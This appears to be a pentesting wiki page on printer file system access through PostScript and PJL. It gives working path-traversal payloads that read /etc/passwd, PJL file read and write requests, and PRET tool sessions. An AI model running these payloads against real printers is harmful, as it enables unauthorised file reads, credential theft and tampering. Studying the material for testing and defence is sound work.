3.1 KiB
File system access
PostScript
Retrieve sensitive information like configuration files or stored print jobs, RCE by writting files like editing rc scripts or replacing binary files
. Legitimate language constructs are defined for PostScript and PJL to access the filesystem.
Access the file system with PostScript note that it could be sandboxed limiting to harmless actions
:
> /str 256 string def (%*%../*) % list all files
> {==} str filenameforall
< (%disk0%../webServer/home/device.html)
< (%disk0%../webServer/.java.login.config)
< (%disk0%../webServer/config/soe.xml)
> /byte (0) def % read from file
> /infile (../../../etc/passwd) (r) file def
> { infile read {byte exch 0 exch put
> (%stdout) (w) file byte writestring}
> {infile closefile exit} ifelse
> } loop
< root::0:0::/:/bin/dlsh
> /outfile (test.txt) (w+) file def}} % write to file
> outfile (Hello World!) writestring
> outfile closefile
You can use PRET commands: ls
, get
, put
, append
, delete
, rename
, find
, mirror
, touch
, mkdir
, cd
, pwd
, chvol
, traversal
, format
, fuzz
and df
:
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> ls ../..
d - Jan 1 1970 (created Jan 1 1970) bootdev
d - Jan 1 1970 (created Jan 1 1970) dsk_jdi
d - Jan 1 1970 (created Jan 1 1970) dsk_jdi_ss
d - Jan 1 1970 (created Jan 1 1970) dsk_ram0
d - Jan 1 1970 (created Jan 1 1970) etc
d - Jan 1 1970 (created Jan 1 1970) tmp
d - Jan 1 1970 (created Jan 1 1970) webServer
PJL
> @PJL FSDIRLIST NAME="0:\" ENTRY=1 COUNT=65535 (list all files)
< .\:\:TYPE=DIR
< ..\:\:TYPE=DIR
< PostScript TYPE=DIR
< PJL TYPE=DIR
< saveDevice TYPE=DIR
< webServer TYPE=DIR
> @PJL FSQUERY NAME="0:\..\..\etc\passwd" (read from file)
< @PJL FSQUERY NAME="0:\..\..\etc\passwd" TYPE=FILE SIZE=23
> @PJL FSUPLOAD NAME="0:\..\..\etc\passwd" OFFSET=0 SIZE=23
< root::0:0::/:/bin/dlsh
> @PJL FSDOWNLOAD SIZE=13 NAME="0:\test.txt" (write to file)
> Hello World!
Anyway accessing files with PJL is not supported by many printers.
You can use PRET commands: ls
, get
, put
, append
, delete
, find
, mirror
, touch
, mkdir
, cd
, pwd
, chvol
, traversal
, format
, fuzz
and df
:
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> ls ..
d - bootdev
d - dsk_jdi
d - dsk_jdi_ss
d - dsk_ram0
d - etc
d - lrt
d - tmp
d - webServer
d - xps
Learn more about possible sandbox bypasses using PostScript and PJL limitations in http://hacking-printers.net/wiki/index.php/File_system_access****